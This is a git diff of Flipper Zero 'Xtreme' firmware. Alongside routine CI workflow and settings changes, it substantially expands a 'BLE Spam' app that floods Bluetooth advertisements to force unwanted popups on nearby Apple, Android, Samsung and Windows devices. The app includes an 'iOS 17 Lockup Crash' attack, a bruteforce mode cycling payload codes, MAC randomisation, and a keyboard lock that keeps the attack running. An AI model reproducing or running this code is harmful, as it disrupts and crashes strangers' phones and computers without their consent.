diff --git a/.github/workflow_data/devbuild.py b/.github/workflow_data/devbuild.py index fd409bce2..3a2d8facc 100644 --- a/.github/workflow_data/devbuild.py +++ b/.github/workflow_data/devbuild.py @@ -12,6 +12,12 @@ if __name__ == "__main__": event = json.load(f) client = nextcloud_client.Client(os.environ["NC_HOST"]) + _session = requests.session + def session(*args, **kwargs): + s = _session(*args, **kwargs) + s.headers["User-Agent"] = os.environ["NC_USERAGENT"] + return s + requests.session = session client.login(os.environ["NC_USER"], os.environ["NC_PASS"]) for file in ( diff --git a/.github/workflow_data/webhook.py b/.github/workflow_data/webhook.py index d1f9c08bb..de0617276 100644 --- a/.github/workflow_data/webhook.py +++ b/.github/workflow_data/webhook.py @@ -36,7 +36,7 @@ if __name__ == "__main__": for i, commit in enumerate(event["commits"]): msg = commit['message'].splitlines()[0].replace("`", "") msg = msg[:50] + ("..." if len(msg) > 50 else "") - desc += f"\n[`{commit['id'][:7]}`]({commit['url']}): {msg} - [__{commit['author']['username']}__](https://github.com/{commit['author']['username']})" + desc += f"\n[`{commit['id'][:7]}`]({commit['url']}): {msg} - [__{commit['author'].get('username')}__](https://github.com/{commit['author'].get('username')})" if len(desc) > 2020: desc = desc.rsplit("\n", 1)[0] + f"\n+ {count - i} more commits" break diff --git a/.github/workflow_data/webupdater.py b/.github/workflow_data/webupdater.py index ccf131567..e9a861aaa 100644 --- a/.github/workflow_data/webupdater.py +++ b/.github/workflow_data/webupdater.py @@ -1,9 +1,16 @@ import nextcloud_client +import requests import json import os if __name__ == "__main__": client = nextcloud_client.Client(os.environ["NC_HOST"]) + _session = requests.session + def session(*args, **kwargs): + s = _session(*args, **kwargs) + s.headers["User-Agent"] = os.environ["NC_USERAGENT"] + return s + requests.session = session client.login(os.environ["NC_USER"], os.environ["NC_PASS"]) file = os.environ["ARTIFACT_TGZ"] diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml index f118e279d..a9d90cf6b 100644 --- a/.github/workflows/build.yml +++ b/.github/workflows/build.yml @@ -16,6 +16,7 @@ concurrency: env: TARGETS: f7 DEFAULT_TARGET: f7 + FBT_GIT_SUBMODULE_SHALLOW: 1 jobs: build: @@ -57,6 +58,7 @@ jobs: if: "github.event_name == 'push' && github.ref_name == 'dev' && !contains(github.event.head_commit.message, '--nobuild')" env: NC_HOST: "https://cloud.cynthialabs.net/" + NC_USERAGENT: "${{ secrets.NC_USERAGENT }}" NC_USER: "${{ secrets.NC_USER }}" NC_PASS: "${{ secrets.NC_PASS }}" BUILD_WEBHOOK: ${{ secrets.BUILD_WEBHOOK }} diff --git a/.github/workflows/hotfix.yml b/.github/workflows/hotfix.yml index 38076ae18..7b7f15132 100644 --- a/.github/workflows/hotfix.yml +++ b/.github/workflows/hotfix.yml @@ -59,6 +59,7 @@ jobs: - name: "Upload to webupdater" env: NC_HOST: "https://cloud.cynthialabs.net/" + NC_USERAGENT: "${{ secrets.NC_USERAGENT }}" NC_USER: "${{ secrets.NC_USER }}" NC_PASS: "${{ secrets.NC_PASS }}" run: | diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 1352871e0..00a5c8dab 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -55,6 +55,7 @@ jobs: - name: "Upload to webupdater" env: NC_HOST: "https://cloud.cynthialabs.net/" + NC_USERAGENT: "${{ secrets.NC_USERAGENT }}" NC_USER: "${{ secrets.NC_USER }}" NC_PASS: "${{ secrets.NC_PASS }}" run: | diff --git a/applications/drivers/subghz/cc1101_ext/cc1101_ext.c b/applications/drivers/subghz/cc1101_ext/cc1101_ext.c index a9a0ddeea..163bb03c6 100644 --- a/applications/drivers/subghz/cc1101_ext/cc1101_ext.c +++ b/applications/drivers/subghz/cc1101_ext/cc1101_ext.c @@ -214,16 +214,15 @@ bool subghz_device_cc1101_ext_alloc(SubGhzDeviceConf* conf) { subghz_device_cc1101_ext->async_rx.capture_delta_duration = 0; subghz_device_cc1101_ext->spi_bus_handle = - (XTREME_SETTINGS()->spi_cc1101_handle == SpiDefault ? + (xtreme_settings.spi_cc1101_handle == SpiDefault ? &furi_hal_spi_bus_handle_external : &furi_hal_spi_bus_handle_external_extra); // this is needed if multiple SPI devices are connected to the same bus but with different CS pins - if(XTREME_SETTINGS()->spi_cc1101_handle == SpiDefault && - !furi_hal_subghz_get_ext_power_amp()) { + if(xtreme_settings.spi_cc1101_handle == SpiDefault && !furi_hal_subghz_get_ext_power_amp()) { furi_hal_gpio_init_simple(&gpio_ext_pc3, GpioModeOutputPushPull); furi_hal_gpio_write(&gpio_ext_pc3, true); - } else if(XTREME_SETTINGS()->spi_cc1101_handle == SpiExtra) { + } else if(xtreme_settings.spi_cc1101_handle == SpiExtra) { furi_hal_gpio_init_simple(&gpio_ext_pa4, GpioModeOutputPushPull); furi_hal_gpio_write(&gpio_ext_pa4, true); } @@ -245,9 +244,9 @@ void subghz_device_cc1101_ext_free() { free(subghz_device_cc1101_ext); // resetting the CS pins to floating - if(XTREME_SETTINGS()->spi_nrf24_handle == SpiDefault || subghz_device_cc1101_ext->power_amp) { + if(xtreme_settings.spi_nrf24_handle == SpiDefault || subghz_device_cc1101_ext->power_amp) { furi_hal_gpio_init_simple(&gpio_ext_pc3, GpioModeAnalog); - } else if(XTREME_SETTINGS()->spi_nrf24_handle == SpiExtra) { + } else if(xtreme_settings.spi_nrf24_handle == SpiExtra) { furi_hal_gpio_init_simple(&gpio_ext_pa4, GpioModeAnalog); } diff --git a/applications/external/advanced_wifisniff/sniffer.c b/applications/external/advanced_wifisniff/sniffer.c index ce1a1b193..4f2896285 100644 --- a/applications/external/advanced_wifisniff/sniffer.c +++ b/applications/external/advanced_wifisniff/sniffer.c @@ -17,13 +17,11 @@ #define MAX_SSID_LENGTH 32 #define MAX_BSSID_LENGTH 18 -#define UART_CH_ESP \ - (XTREME_SETTINGS()->uart_esp_channel == UARTDefault ? FuriHalUartIdUSART1 : \ - FuriHalUartIdLPUART1) +#define UART_CH_ESP \ + (xtreme_settings.uart_esp_channel == UARTDefault ? FuriHalUartIdUSART1 : FuriHalUartIdLPUART1) -#define UART_CH_GPS \ - (XTREME_SETTINGS()->uart_nmea_channel == UARTDefault ? FuriHalUartIdUSART1 : \ - FuriHalUartIdLPUART1) +#define UART_CH_GPS \ + (xtreme_settings.uart_nmea_channel == UARTDefault ? FuriHalUartIdUSART1 : FuriHalUartIdLPUART1) #define WORKER_ALL_RX_EVENTS (WorkerEvtStop | WorkerEvtRxDone) diff --git a/applications/external/ble_spam/application.fam b/applications/external/ble_spam/application.fam index d66dbeb14..d19322fd9 100644 --- a/applications/external/ble_spam/application.fam +++ b/applications/external/ble_spam/application.fam @@ -8,7 +8,7 @@ App( fap_category="Bluetooth", fap_author="@Willy-JL @ECTO-1A @Spooks4576", fap_weburl="https://github.com/Flipper-XFW/Xtreme-Apps/tree/dev/ble_spam", - fap_version="2.0", + fap_version="4.1", fap_description="Flood BLE advertisements to cause spammy and annoying popups/notifications", fap_icon_assets="icons", fap_icon_assets_symbol="ble_spam", diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c index 931bd9505..7350edbea 100644 --- a/applications/external/ble_spam/ble_spam.c +++ b/applications/external/ble_spam/ble_spam.c @@ -1,26 +1,20 @@ +#include "ble_spam.h" #include #include #include -#include "protocols/_registry.h" +#include "protocols/_protocols.h" // Hacked together by @Willy-JL // Custom adv API by @Willy-JL (idea by @xMasterX) // iOS 17 Crash by @ECTO-1A -// Android and Windows Pairs by @Spooks4576 and @ECTO-1A +// Android, Samsung and Windows Pairs by @Spooks4576 and @ECTO-1A // Research on behaviors and parameters by @Willy-JL, @ECTO-1A and @Spooks4576 // Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam -typedef struct { - const char* title; - const char* text; - const BleSpamProtocol* protocol; - BleSpamPayload payload; -} Attack; - static Attack attacks[] = { { - .title = "+ Kitchen Sink", + .title = "The Kitchen Sink", .text = "Flood all attacks at once", .protocol = NULL, .payload = @@ -32,110 +26,164 @@ static Attack attacks[] = { { .title = "iOS 17 Lockup Crash", .text = "Newer iPhones, long range", - .protocol = &ble_spam_protocol_continuity, + .protocol = &protocol_continuity, .payload = { .random_mac = false, - .cfg = + .cfg.continuity = { - .continuity = - { - .type = ContinuityTypeCustomCrash, - .data = {}, - }, + .type = ContinuityTypeCustomCrash, + .data = {}, }, }, }, { .title = "Apple Action Modal", .text = "Lock cooldown, long range", - .protocol = &ble_spam_protocol_continuity, + .protocol = &protocol_continuity, .payload = { .random_mac = false, - .cfg = + .cfg.continuity = { - .continuity = - { - .type = ContinuityTypeNearbyAction, - .data = {}, - }, + .type = ContinuityTypeNearbyAction, + .data = {}, }, }, }, { .title = "Apple Device Popup", .text = "No cooldown, close range", - .protocol = &ble_spam_protocol_continuity, + .protocol = &protocol_continuity, .payload = { .random_mac = false, - .cfg = + .cfg.continuity = { - .continuity = - { - .type = ContinuityTypeProximityPair, - .data = {}, - }, + .type = ContinuityTypeProximityPair, + .data = {}, }, }, }, { - .title = "Android Device Pair", + .title = "Android Device Connect", .text = "Reboot cooldown, long range", - .protocol = &ble_spam_protocol_fastpair, + .protocol = &protocol_fastpair, .payload = { .random_mac = true, - .cfg = + .cfg.fastpair = {}, + }, + }, + { + .title = "Samsung Buds Popup", + .text = "No cooldown, long range", + .protocol = &protocol_easysetup, + .payload = + { + .random_mac = true, + .cfg.easysetup = { - .fastpair = {}, + .type = EasysetupTypeBuds, + .data = {}, + }, + }, + }, + { + .title = "Samsung Watch Pair", + .text = "No cooldown, long range", + .protocol = &protocol_easysetup, + .payload = + { + .random_mac = true, + .cfg.easysetup = + { + .type = EasysetupTypeWatch, + .data = {}, }, }, }, { .title = "Windows Device Found", - .text = "Requires enabling SwiftPair", - .protocol = &ble_spam_protocol_swiftpair, + .text = "No cooldown, short range", + .protocol = &protocol_swiftpair, .payload = { .random_mac = true, - .cfg = - { - .swiftpair = {}, - }, + .cfg.swiftpair = {}, }, }, }; -#define ATTACK_COUNT ((signed)COUNT_OF(attacks)) +#define ATTACKS_COUNT ((signed)COUNT_OF(attacks)) -uint16_t delays[] = {20, 50, 100, 200}; +static uint16_t delays[] = {20, 50, 100, 200}; typedef struct { + Ctx ctx; + View* main_view; + bool lock_warning; + uint8_t lock_count; + FuriTimer* lock_timer; + bool resume; bool advertising; uint8_t delay; FuriThread* thread; int8_t index; + bool ignore_bruteforce; } State; -static int32_t adv_thread(void* ctx) { - State* state = ctx; +const NotificationSequence solid_message = { + &message_red_0, + &message_green_255, + &message_blue_255, + &message_do_not_reset, + &message_delay_10, + NULL, +}; +NotificationMessage blink_message = { + .type = NotificationMessageTypeLedBlinkStart, + .data.led_blink.color = LightBlue | LightGreen, + .data.led_blink.on_time = 10, + .data.led_blink.period = 100, +}; +const NotificationSequence blink_sequence = { + &blink_message, + &message_do_not_reset, + NULL, +}; +static void start_blink(State* state) { + uint16_t period = delays[state->delay]; + if(period <= 100) period += 30; + blink_message.data.led_blink.period = period; + notification_message_block(state->ctx.notification, &blink_sequence); +} +static void stop_blink(State* state) { + notification_message_block(state->ctx.notification, &sequence_blink_stop); +} + +static int32_t adv_thread(void* _ctx) { + State* state = _ctx; uint8_t size; uint16_t delay; uint8_t* packet; uint8_t mac[GAP_MAC_ADDR_SIZE]; - BleSpamPayload* payload = &attacks[state->index].payload; - const BleSpamProtocol* protocol = attacks[state->index].protocol; + Payload* payload = &attacks[state->index].payload; + const Protocol* protocol = attacks[state->index].protocol; if(!payload->random_mac) furi_hal_random_fill_buf(mac, sizeof(mac)); + if(state->ctx.led_indicator) start_blink(state); while(state->advertising) { if(protocol) { - protocol->make_packet(&size, &packet, &payload->cfg); + if(payload->mode == PayloadModeBruteforce && payload->bruteforce.counter++ >= 10) { + payload->bruteforce.counter = 0; + payload->bruteforce.value = + (payload->bruteforce.value + 1) % (1 << (payload->bruteforce.size * 8)); + } + protocol->make_packet(&size, &packet, payload); } else { - ble_spam_protocols[rand() % ble_spam_protocols_count]->make_packet( - &size, &packet, NULL); + protocols[rand() % protocols_count]->make_packet(&size, &packet, NULL); } furi_hal_bt_custom_adv_set(packet, size); free(packet); @@ -147,6 +195,7 @@ static int32_t adv_thread(void* ctx) { furi_hal_bt_custom_adv_stop(); } + if(state->ctx.led_indicator) stop_blink(state); return 0; } @@ -157,28 +206,34 @@ static void toggle_adv(State* state) { furi_thread_join(state->thread); if(state->resume) furi_hal_bt_start_advertising(); } else { + state->advertising = true; state->resume = furi_hal_bt_is_active(); furi_hal_bt_stop_advertising(); - state->advertising = true; furi_thread_start(state->thread); } } -#define PAGE_MIN (-3) -#define PAGE_MAX ATTACK_COUNT +#define PAGE_MIN (-5) +#define PAGE_MAX ATTACKS_COUNT enum { - PageHelpApps = PAGE_MIN, + PageHelpBruteforce = PAGE_MIN, + PageHelpApps, PageHelpDelay, PageHelpDistance, + PageHelpInfoConfig, PageStart = 0, - PageEnd = ATTACK_COUNT - 1, + PageEnd = ATTACKS_COUNT - 1, PageAboutCredits = PAGE_MAX, }; -static void draw_callback(Canvas* canvas, void* ctx) { - State* state = ctx; +static void draw_callback(Canvas* canvas, void* _ctx) { + State* state = *(State**)_ctx; const char* back = "Back"; const char* next = "Next"; + if(state->index < 0) { + back = "Next"; + next = "Back"; + } switch(state->index) { case PageStart - 1: next = "Spam"; @@ -195,15 +250,32 @@ static void draw_callback(Canvas* canvas, void* ctx) { } const Attack* attack = - (state->index >= 0 && state->index <= ATTACK_COUNT - 1) ? &attacks[state->index] : NULL; - const BleSpamPayload* payload = attack ? &attack->payload : NULL; - const BleSpamProtocol* protocol = attack ? attack->protocol : NULL; + (state->index >= 0 && state->index <= ATTACKS_COUNT - 1) ? &attacks[state->index] : NULL; + const Payload* payload = attack ? &attack->payload : NULL; + const Protocol* protocol = attack ? attack->protocol : NULL; canvas_set_font(canvas, FontSecondary); - canvas_draw_icon(canvas, 4, 3, protocol ? protocol->icon : &I_ble); + canvas_draw_icon(canvas, 4 - !protocol, 3, protocol ? protocol->icon : &I_ble_spam); canvas_draw_str(canvas, 14, 12, "BLE Spam"); switch(state->index) { + case PageHelpBruteforce: + canvas_set_font(canvas, FontBatteryPercent); + canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help"); + elements_text_box( + canvas, + 4, + 16, + 120, + 48, + AlignLeft, + AlignTop, + "\e#Bruteforce\e# cycles codes\n" + "to find popups, hold left and\n" + "right to send manually and\n" + "change delay", + false); + break; case PageHelpApps: canvas_set_font(canvas, FontBatteryPercent); canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help"); @@ -247,9 +319,25 @@ static void draw_callback(Canvas* canvas, void* ctx) { 48, AlignLeft, AlignTop, - "\e#Distance\e# is limited, attacks\n" - "work under 1 meter but a\n" - "few are marked 'long range'", + "\e#Distance\e# varies greatly:\n" + "some are long range (>30 m)\n" + "others are close range (<1 m)", + false); + break; + case PageHelpInfoConfig: + canvas_set_font(canvas, FontBatteryPercent); + canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help"); + elements_text_box( + canvas, + 4, + 16, + 120, + 48, + AlignLeft, + AlignTop, + "See \e#more info\e# and change\n" + "\e#attack options\e# by holding\n" + "Ok on each attack page", false); break; case PageAboutCredits: @@ -266,31 +354,60 @@ static void draw_callback(Canvas* canvas, void* ctx) { "App+Spam: \e#WillyJL\e# XFW\n" "Apple+Crash: \e#ECTO-1A\e#\n" "Android+Win: \e#Spooks4576\e#\n" - " Version \e#2.0\e#", + " Version \e#4.1\e#", false); break; default: { if(!attack) break; + if(state->ctx.lock_keyboard && !state->advertising) { + // Forgive me Lord for I have sinned by handling state in draw + toggle_adv(state); + } char str[32]; canvas_set_font(canvas, FontBatteryPercent); - snprintf(str, sizeof(str), "%ims", delays[state->delay]); + if(payload->mode == PayloadModeBruteforce) { + snprintf( + str, + sizeof(str), + "0x%0*lX", + payload->bruteforce.size * 2, + payload->bruteforce.value); + } else { + snprintf(str, sizeof(str), "%ims", delays[state->delay]); + } canvas_draw_str_aligned(canvas, 116, 12, AlignRight, AlignBottom, str); canvas_draw_icon(canvas, 119, 6, &I_SmallArrowUp_3x5); canvas_draw_icon(canvas, 119, 10, &I_SmallArrowDown_3x5); canvas_set_font(canvas, FontBatteryPercent); - snprintf( - str, - sizeof(str), - "%02i/%02i: %s", - state->index + 1, - ATTACK_COUNT, - protocol ? protocol->get_name(&payload->cfg) : "Everything"); - canvas_draw_str(canvas, 4 - (state->index < 19 ? 1 : 0), 21, str); + if(payload->mode == PayloadModeBruteforce) { + canvas_draw_str_aligned(canvas, 64, 22, AlignCenter, AlignBottom, "Bruteforce"); + if(delays[state->delay] < 100) { + snprintf(str, sizeof(str), "%ims>", delays[state->delay]); + } else { + snprintf(str, sizeof(str), "%.1fs>", (double)delays[state->delay] / 1000); + } + uint16_t w = canvas_string_width(canvas, str); + elements_slightly_rounded_box(canvas, 3, 14, 30, 10); + elements_slightly_rounded_box(canvas, 119 - w, 14, 6 + w, 10); + canvas_invert_color(canvas); + canvas_draw_str_aligned(canvas, 5, 22, AlignLeft, AlignBottom, "index + 1, + ATTACKS_COUNT, + protocol ? protocol->get_name(payload) : "Everything AND"); + canvas_draw_str(canvas, 4 - (state->index < 19 ? 1 : 0), 22, str); + } canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, 4, 32, attack->title); + canvas_draw_str(canvas, 4, 33, attack->title); canvas_set_font(canvas, FontSecondary); canvas_draw_str(canvas, 4, 46, attack->text); @@ -306,14 +423,174 @@ static void draw_callback(Canvas* canvas, void* ctx) { if(state->index < PAGE_MAX) { elements_button_right(canvas, next); } + + if(state->lock_warning) { + canvas_set_font(canvas, FontSecondary); + elements_bold_rounded_frame(canvas, 14, 8, 99, 48); + elements_multiline_text(canvas, 65, 26, "To unlock\npress:"); + canvas_draw_icon(canvas, 65, 42, &I_Pin_back_arrow_10x8); + canvas_draw_icon(canvas, 80, 42, &I_Pin_back_arrow_10x8); + canvas_draw_icon(canvas, 95, 42, &I_Pin_back_arrow_10x8); + canvas_draw_icon(canvas, 16, 13, &I_WarningDolphin_45x42); + canvas_draw_dot(canvas, 17, 61); + } } -static void input_callback(InputEvent* input, void* ctx) { - FuriMessageQueue* input_queue = ctx; - if(input->type == InputTypeShort || input->type == InputTypeLong || - input->type == InputTypeRepeat) { - furi_message_queue_put(input_queue, input, 0); +static bool input_callback(InputEvent* input, void* _ctx) { + View* view = _ctx; + State* state = *(State**)view_get_model(view); + bool consumed = false; + + if(state->ctx.lock_keyboard) { + consumed = true; + with_view_model( + state->main_view, State * *model, { (*model)->lock_warning = true; }, true); + if(state->lock_count == 0) { + furi_timer_start(state->lock_timer, pdMS_TO_TICKS(1000)); + } + if(input->type == InputTypeShort && input->key == InputKeyBack) { + state->lock_count++; + } + if(state->lock_count >= 3) { + furi_timer_start(state->lock_timer, 1); + } + } else if( + input->type == InputTypeShort || input->type == InputTypeLong || + input->type == InputTypeRepeat) { + consumed = true; + + bool is_attack = state->index >= 0 && state->index <= ATTACKS_COUNT - 1; + Payload* payload = is_attack ? &attacks[state->index].payload : NULL; + bool advertising = state->advertising; + + switch(input->key) { + case InputKeyOk: + if(is_attack) { + if(input->type == InputTypeLong) { + if(advertising) toggle_adv(state); + state->ctx.attack = &attacks[state->index]; + scene_manager_set_scene_state(state->ctx.scene_manager, SceneConfig, 0); + scene_manager_next_scene(state->ctx.scene_manager, SceneConfig); + } else if(input->type == InputTypeShort) { + toggle_adv(state); + } + } + break; + case InputKeyUp: + if(is_attack) { + if(payload->mode == PayloadModeBruteforce) { + payload->bruteforce.counter = 0; + payload->bruteforce.value = + (payload->bruteforce.value + 1) % (1 << (payload->bruteforce.size * 8)); + } else if(state->delay < COUNT_OF(delays) - 1) { + state->delay++; + if(advertising) start_blink(state); + } + } + break; + case InputKeyDown: + if(is_attack) { + if(payload->mode == PayloadModeBruteforce) { + payload->bruteforce.counter = 0; + payload->bruteforce.value = + (payload->bruteforce.value - 1) % (1 << (payload->bruteforce.size * 8)); + } else if(state->delay > 0) { + state->delay--; + if(advertising) start_blink(state); + } + } + break; + case InputKeyLeft: + if(input->type == InputTypeLong) { + state->ignore_bruteforce = payload ? (payload->mode != PayloadModeBruteforce) : + true; + } + if(input->type == InputTypeShort || !is_attack || state->ignore_bruteforce || + payload->mode != PayloadModeBruteforce) { + if(state->index > PAGE_MIN) { + if(advertising) toggle_adv(state); + state->index--; + } + } else { + if(!advertising) { + bool resume = furi_hal_bt_is_active(); + furi_hal_bt_stop_advertising(); + Payload* payload = &attacks[state->index].payload; + const Protocol* protocol = attacks[state->index].protocol; + + uint8_t size; + uint8_t* packet; + protocol->make_packet(&size, &packet, payload); + furi_hal_bt_custom_adv_set(packet, size); + free(packet); + + uint8_t mac[GAP_MAC_ADDR_SIZE]; + furi_hal_random_fill_buf(mac, sizeof(mac)); + uint16_t delay = delays[state->delay]; + furi_hal_bt_custom_adv_start(delay, delay, 0x00, mac, 0x1F); + if(state->ctx.led_indicator) + notification_message(state->ctx.notification, &solid_message); + furi_delay_ms(10); + furi_hal_bt_custom_adv_stop(); + + if(state->ctx.led_indicator) + notification_message_block(state->ctx.notification, &sequence_reset_rgb); + if(resume) furi_hal_bt_start_advertising(); + } + } + break; + case InputKeyRight: + if(input->type == InputTypeLong) { + state->ignore_bruteforce = payload ? (payload->mode != PayloadModeBruteforce) : + true; + } + if(input->type == InputTypeShort || !is_attack || state->ignore_bruteforce || + payload->mode != PayloadModeBruteforce) { + if(state->index < PAGE_MAX) { + if(advertising) toggle_adv(state); + state->index++; + } + } else if(input->type == InputTypeLong) { + state->delay = (state->delay + 1) % COUNT_OF(delays); + if(advertising) start_blink(state); + } + break; + case InputKeyBack: + if(advertising) toggle_adv(state); + consumed = false; + break; + default: + break; + } } + + view_commit_model(view, consumed); + return consumed; +} + +static void lock_timer_callback(void* _ctx) { + State* state = _ctx; + if(state->lock_count < 3) { + notification_message_block(state->ctx.notification, &sequence_display_backlight_off); + } else { + state->ctx.lock_keyboard = false; + } + with_view_model( + state->main_view, State * *model, { (*model)->lock_warning = false; }, true); + state->lock_count = 0; +} + +static void tick_event_callback(void* _ctx) { + State* state = _ctx; + bool advertising; + with_view_model( + state->main_view, State * *model, { advertising = (*model)->advertising; }, advertising); + scene_manager_handle_tick_event(state->ctx.scene_manager); +} + +static bool back_event_callback(void* _ctx) { + State* state = _ctx; + return scene_manager_handle_back_event(state->ctx.scene_manager); } int32_t ble_spam(void* p) { @@ -323,63 +600,70 @@ int32_t ble_spam(void* p) { furi_thread_set_callback(state->thread, adv_thread); furi_thread_set_context(state->thread, state); furi_thread_set_stack_size(state->thread, 4096); + state->ctx.led_indicator = true; + state->lock_timer = furi_timer_alloc(lock_timer_callback, FuriTimerTypeOnce, state); - FuriMessageQueue* input_queue = furi_message_queue_alloc(8, sizeof(InputEvent)); - ViewPort* view_port = view_port_alloc(); + state->ctx.notification = furi_record_open(RECORD_NOTIFICATION); Gui* gui = furi_record_open(RECORD_GUI); - view_port_input_callback_set(view_port, input_callback, input_queue); - view_port_draw_callback_set(view_port, draw_callback, state); - gui_add_view_port(gui, view_port, GuiLayerFullscreen); + state->ctx.view_dispatcher = view_dispatcher_alloc(); + view_dispatcher_enable_queue(state->ctx.view_dispatcher); + view_dispatcher_set_event_callback_context(state->ctx.view_dispatcher, state); + view_dispatcher_set_tick_event_callback(state->ctx.view_dispatcher, tick_event_callback, 100); + view_dispatcher_set_navigation_event_callback(state->ctx.view_dispatcher, back_event_callback); + state->ctx.scene_manager = scene_manager_alloc(&scene_handlers, &state->ctx); - bool running = true; - while(running) { - InputEvent input; - furi_check(furi_message_queue_get(input_queue, &input, FuriWaitForever) == FuriStatusOk); + state->main_view = view_alloc(); + view_allocate_model(state->main_view, ViewModelTypeLocking, sizeof(State*)); + with_view_model( + state->main_view, State * *model, { *model = state; }, false); + view_set_context(state->main_view, state->main_view); + view_set_draw_callback(state->main_view, draw_callback); + view_set_input_callback(state->main_view, input_callback); + view_dispatcher_add_view(state->ctx.view_dispatcher, ViewMain, state->main_view); - bool is_attack = state->index >= 0 && state->index <= ATTACK_COUNT - 1; - bool advertising = state->advertising; - switch(input.key) { - case InputKeyOk: - if(is_attack) toggle_adv(state); - break; - case InputKeyUp: - if(is_attack && state->delay < COUNT_OF(delays) - 1) { - state->delay++; - } - break; - case InputKeyDown: - if(is_attack && state->delay > 0) { - state->delay--; - } - break; - case InputKeyLeft: - if(state->index > PAGE_MIN) { - if(advertising) toggle_adv(state); - state->index--; - } - break; - case InputKeyRight: - if(state->index < PAGE_MAX) { - if(advertising) toggle_adv(state); - state->index++; - } - break; - case InputKeyBack: - if(advertising) toggle_adv(state); - running = false; - break; - default: - continue; - } + state->ctx.byte_input = byte_input_alloc(); + view_dispatcher_add_view( + state->ctx.view_dispatcher, ViewByteInput, byte_input_get_view(state->ctx.byte_input)); - view_port_update(view_port); - } + state->ctx.submenu = submenu_alloc(); + view_dispatcher_add_view( + state->ctx.view_dispatcher, ViewSubmenu, submenu_get_view(state->ctx.submenu)); - gui_remove_view_port(gui, view_port); + state->ctx.text_input = text_input_alloc(); + view_dispatcher_add_view( + state->ctx.view_dispatcher, ViewTextInput, text_input_get_view(state->ctx.text_input)); + + state->ctx.variable_item_list = variable_item_list_alloc(); + view_dispatcher_add_view( + state->ctx.view_dispatcher, + ViewVariableItemList, + variable_item_list_get_view(state->ctx.variable_item_list)); + + view_dispatcher_attach_to_gui(state->ctx.view_dispatcher, gui, ViewDispatcherTypeFullscreen); + scene_manager_next_scene(state->ctx.scene_manager, SceneMain); + view_dispatcher_run(state->ctx.view_dispatcher); + + view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewByteInput); + byte_input_free(state->ctx.byte_input); + + view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewSubmenu); + submenu_free(state->ctx.submenu); + + view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewTextInput); + text_input_free(state->ctx.text_input); + + view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewVariableItemList); + variable_item_list_free(state->ctx.variable_item_list); + + view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewMain); + view_free(state->main_view); + + scene_manager_free(state->ctx.scene_manager); + view_dispatcher_free(state->ctx.view_dispatcher); furi_record_close(RECORD_GUI); - view_port_free(view_port); - furi_message_queue_free(input_queue); + furi_record_close(RECORD_NOTIFICATION); + furi_timer_free(state->lock_timer); furi_thread_free(state->thread); free(state); return 0; diff --git a/applications/external/ble_spam/ble_spam.h b/applications/external/ble_spam/ble_spam.h new file mode 100644 index 000000000..6be71147e --- /dev/null +++ b/applications/external/ble_spam/ble_spam.h @@ -0,0 +1,44 @@ +#pragma once + +#include +#include +#include +#include +#include +#include + +#include "scenes/_setup.h" + +enum { + ViewMain, + ViewByteInput, + ViewSubmenu, + ViewTextInput, + ViewVariableItemList, +}; + +enum { + ConfigRandomMac, + ConfigExtraStart = ConfigRandomMac, + ConfigLedIndicator, + ConfigLockKeyboard, +}; + +typedef struct Attack Attack; + +typedef struct { + Attack* attack; + uint8_t byte_store[3]; + VariableItemListEnterCallback fallback_config_enter; + bool led_indicator; + bool lock_keyboard; + + NotificationApp* notification; + ViewDispatcher* view_dispatcher; + SceneManager* scene_manager; + + ByteInput* byte_input; + Submenu* submenu; + TextInput* text_input; + VariableItemList* variable_item_list; +} Ctx; diff --git a/applications/external/ble_spam/icons/ble.png b/applications/external/ble_spam/icons/ble_spam.png similarity index 56% rename from applications/external/ble_spam/icons/ble.png rename to applications/external/ble_spam/icons/ble_spam.png index f5cf3880b..40a2b8859 100644 Binary files a/applications/external/ble_spam/icons/ble.png and b/applications/external/ble_spam/icons/ble_spam.png differ diff --git a/applications/external/ble_spam/protocols/_base.h b/applications/external/ble_spam/protocols/_base.h index 280111515..c2cf4b54f 100644 --- a/applications/external/ble_spam/protocols/_base.h +++ b/applications/external/ble_spam/protocols/_base.h @@ -8,11 +8,14 @@ #include "ble_spam_icons.h" #include #include +#include "../ble_spam.h" -typedef union BleSpamProtocolCfg BleSpamProtocolCfg; +typedef struct Payload Payload; typedef struct { const Icon* icon; - const char* (*get_name)(const BleSpamProtocolCfg* _cfg); - void (*make_packet)(uint8_t* _size, uint8_t** _packet, const BleSpamProtocolCfg* _cfg); -} BleSpamProtocol; + const char* (*get_name)(const Payload* payload); + void (*make_packet)(uint8_t* _size, uint8_t** _packet, Payload* payload); + void (*extra_config)(Ctx* ctx); + uint8_t (*config_count)(const Payload* payload); +} Protocol; diff --git a/applications/external/ble_spam/protocols/_protocols.c b/applications/external/ble_spam/protocols/_protocols.c new file mode 100644 index 000000000..a40b60497 --- /dev/null +++ b/applications/external/ble_spam/protocols/_protocols.c @@ -0,0 +1,10 @@ +#include "_protocols.h" + +const Protocol* protocols[] = { + &protocol_continuity, + &protocol_fastpair, + &protocol_easysetup, + &protocol_swiftpair, +}; + +const size_t protocols_count = COUNT_OF(protocols); diff --git a/applications/external/ble_spam/protocols/_protocols.h b/applications/external/ble_spam/protocols/_protocols.h new file mode 100644 index 000000000..f04ae90dc --- /dev/null +++ b/applications/external/ble_spam/protocols/_protocols.h @@ -0,0 +1,39 @@ +#pragma once + +#include "continuity.h" +#include "fastpair.h" +#include "easysetup.h" +#include "swiftpair.h" + +typedef enum { + PayloadModeRandom, + PayloadModeValue, + PayloadModeBruteforce, +} PayloadMode; + +struct Payload { + bool random_mac; + PayloadMode mode; + struct { + uint8_t counter; + uint32_t value; + uint8_t size; + } bruteforce; + union { + ContinuityCfg continuity; + FastpairCfg fastpair; + EasysetupCfg easysetup; + SwiftpairCfg swiftpair; + } cfg; +}; + +extern 